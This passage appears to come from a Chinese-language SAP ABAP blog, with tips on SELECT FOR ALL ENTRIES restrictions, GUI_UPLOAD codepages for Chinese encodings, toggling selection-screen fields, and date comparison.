FOR ALL ENTRIES IN IT_SFLIGHT

WHERE CARRID = IT_SFLIGHT-CARRID

AND CONNID = IT_SFLIGHT-CONNID'.

在 WHERE 條件中,IT_SFLIGHT-CARRID和IT_SFLIGHT-CONNID這些列将用作占位符。該 SELECT 語句的結果集是 SELECT 語句的所有結果集的聯合,這些結果集是用内部表 IT_SFLIGHT 中的相應值在每一行上替換占位符的結果。實際上該WHERE子句的特殊變式就是下面WHERE基本語句的簡略寫法。

SELECT DISTINCT CARRID

CONNID

PRICE

FROM SFLIGHT

INTO TABLE IT_PRICE

WHERE ( CARRID = 'LH' AND

CONNID = '2415' ) OR

( CARRID = 'SQ' AND

CONNID = '0026' ) OR

( CARRID = 'LH' AND

CONNID = '0400' ) .

2.使用該語句,對于最後得出的結果集系統會自動删除重複行。是以如果你要保留重複行記錄時,記得在SELECT語句中添加足夠鍵值項目(有必要時,增加全部鍵值項目),以保證結果集中所需重複項目不會被删除。(例如選取支付金額時,支付事件可能不同,但金額可能相同,此時一定要注意,以避免錯誤删除結果記錄。)

3.FOR ALL ENTRIES IN後面使用的内部表itab如果為空,系統将視為無條件選取,将目前CLIENT下所有記錄選出。是以為避免無意義的全件檢索,在使用該語句前一定要判斷内部表itab是否為空,為空時不執行包含該語句的資料庫檢索處理。

4.由于itab-f實際上是作為占位符被替換,是以内部表itab中不要包含HEADER行(項目辨別名稱行),以免造成混淆,檢索出錯。

5.内部表itab中作為條件替換用項目的類型和長度,一定要和檢索資料庫中對應的項目相同,否則編譯不能通過。

6.對于内部表itab中作為條件替換用項目,不能使用LIKE,BETWEEN,IN比較操作符。因為這些比較操作符都是不确定比較操作符(将選擇條件設定在一個範圍内),而FOR ALL ENTRIES IN語句的作用相當于将選擇條件塊全部并列開來,用OR連接配接,如果每個OR分支中又是不确定的範圍,那麼系統性能将大大降低,是以R/3系統在使用該語句時禁止使用不确定比較操作符。

7.使用該語句時,ORDER BY語句和HAVING語句将不能使用。

8.使用該語句時,除COUNT( * )以外的所有合計函數(MAX,MIN,AVG,SUM)都不能使用。

//判斷内表是否為空

使用語句: DESCRIBE TABLE ITAB LINES VARIABLE.判斷系統變量sy-subrc是否為0,如果為0就表示不空,反之為空!

DESCRIBE TABLE ITAB LINES VARIABLE

IF NOT P_VARIANT IS INITIAL.

    WX_VARIANT-VARIANT = P_VARIANT.

ENDIF.

備注: 使用 for all entries in 雖然在某些方面是很友善的,但是他很耗記憶體, 在使用時一定要注意, 若不是萬萬不得已還是建議不要使用為好。

14:08 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP 3月29日

SAP ABAP----關于GUI_UPLOAD時CODEPAGE的使用的小知識

在很多項目裡,或者一些應用上,我們經常需要把一些檔案導入到SAP系統裡,最經常我們使用的讀取資料的方法就是使用GUI_UPLOAD這個FM.在這個FM中有個CODEPAGE,是用來指定代碼頁的.

  如果我們導的是中文的話,我們經常使用的是8400.當然還有8401,8411等等.

主要介紹一下8400/8401.因為大家最常用的是8400.看8400的介紹上說,是based on GB2312-EUC版本,WINDOWS的代碼頁就是CP936.8401使用的就是GB18030 2000編碼.那麼他們的差別在哪裡呢.

1、 GB2312

GB2312(1980年)一共收錄了7445個字元,包括6763個漢字和682個其它符号。漢字區的内碼範圍高位元組從B0-F7,低位元組從A1-FE,占用的碼位是72*94=6768。其中有5個空位是D7FA-D7FE。

在windows中的代碼頁是CP936

2、 GBK

GBK最初是由微軟對GB2312的擴充,也就是CP936字碼表 (Code Page 936)的擴充(原來的CP936和GB 2312-80一模一樣),最初出現于Windows 95簡體中文版中,由于Windows産品的流行和在大陸廣泛被使用,中華人民共和國國家有關部門将其作為技術規範。注意GBK并非國家正式标準,隻是國家技術監督局标準化司、電子工業部科技與品質監督司釋出的“技術規範指導性檔案”。雖然 GBK收錄了所有Unicode 1.1及GB 13000.1-93之中的漢字,但是編碼方式與Unicode 1.1及GB 13000.1-93不同。僅僅是GB 2312到GB 13000.1-93之間的過渡方案。GBK收錄了21886個符号,它分為漢字區和圖形符号區。漢字區包括21003個字元。

GBK作為對GB2312的擴充,在現在的windows系統中仍然使用代碼頁CP936表示,但是同樣的936的代碼頁跟一開始的936的代碼頁隻支援GB2312編碼不同,現在的936代碼頁支援GBK的編碼,GBK同時也向下相容GB2312編碼。

3、 GB18030

2000年的GB18030取代了GBK1.0的正式國家标準。該标準收錄了27484個漢字,同時還收錄了藏文、蒙文、維吾爾文等主要的少數民族文字。現在的PC平台必須支援GB18030,對嵌入式産品暫不作要求。是以手機、MP3一般隻支援GB2312。

GB18030在windows中的代碼頁是CP54936。

4、 GB13000

GB13000等同于國際标準的《通用多八位編碼字元集 (UCS)》 ISO10646.1,就是等同于Unicode的标準,代碼頁等等的都使用UTF的一套标準。

從ASCII、GB2312、GBK到GB18030,這些編碼方法是向下相容的,即同一個字元在這些方案中總是有相同的編碼,後面的标準支援更多的字元。在這些編碼中,英文和中文可以統一地處理。區分中文編碼的方法是高位元組的最高位不為0。按照程式員的稱呼,GB2312、GBK到GB18030都屬于雙位元組字元集 (DBCS)。

1:59 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

SAP ABAP----選擇螢幕上控制字段的隐藏和顯示

說明:2個字段, S_NETVAL /R_NETVAL,點選CK_CRM的時候,顯示S_NETVAL,隐藏R_NETVAL.

                                點選CK_C2K的時候,顯示R_NETVAL,隐藏S_NETVAL.

SELECT-OPTIONS: S_NETVAL  FOR CRMD_ORDER_INDEX-NET_VALUE VISIBLE LENGTH 10 MODIF ID DID,                            "單張訂單金額

               R_NETVAL  FOR ZT0073-ZSUBTOTAL MODIF ID UID.

SELECTION-SCREEN BEGIN OF LINE.

SELECTION-SCREEN COMMENT 18(5) TEXT-S02 FOR FIELD CK_CRM.

PARAMETERS:CK_CRM RADIOBUTTON GROUP RAD1 DEFAULT 'X' USER-COMMAND ZCODE.

SELECTION-SCREEN COMMENT 30(5) TEXT-S03 FOR FIELD CK_C2K.

PARAMETERS:CK_C2K RADIOBUTTON GROUP RAD1 .

SELECTION-SCREEN END OF LINE.

AT SELECTION-SCREEN OUTPUT.

*** hide/show fields according to current selection

IF CK_CRM = 'X'.

    HIDID = 'UID'.

ELSEIF CK_C2K = 'X'.

    HIDID = 'DID'.

ENDIF.

LOOP AT SCREEN.

IF SCREEN-GROUP1 = HIDID.

SCREEN-ACTIVE = '0'.

SCREEN-INVISIBLE = '1'.

MODIFY SCREEN.

ENDIF.

ENDLOOP.

1:56 | 添加評論 | 固定連結 | 寫入日志 | SAP ABAP

SAP ABAP----比較日期和時間

FIMA_DATE_COMPARE

TYPE-POOLS : TRFF .

DATA  : X_LOG_OP        TYPE TRFF_TYPE_C_2 .

CALL FUNCTION 'FIMA_DATE_COMPARE'

EXPORTING

            I_FLG_INTRADAY = 'X'

            I_DATE         = SY-DATUM

            I_TIME         = SY-UZEIT

            I_COMP_DATE    = L_MODIFY-MODDATE

            I_COMP_TIME    = L_MODIFY-MODTIME

IMPORTING

            E_LOG_OP       = X_LOG_OP.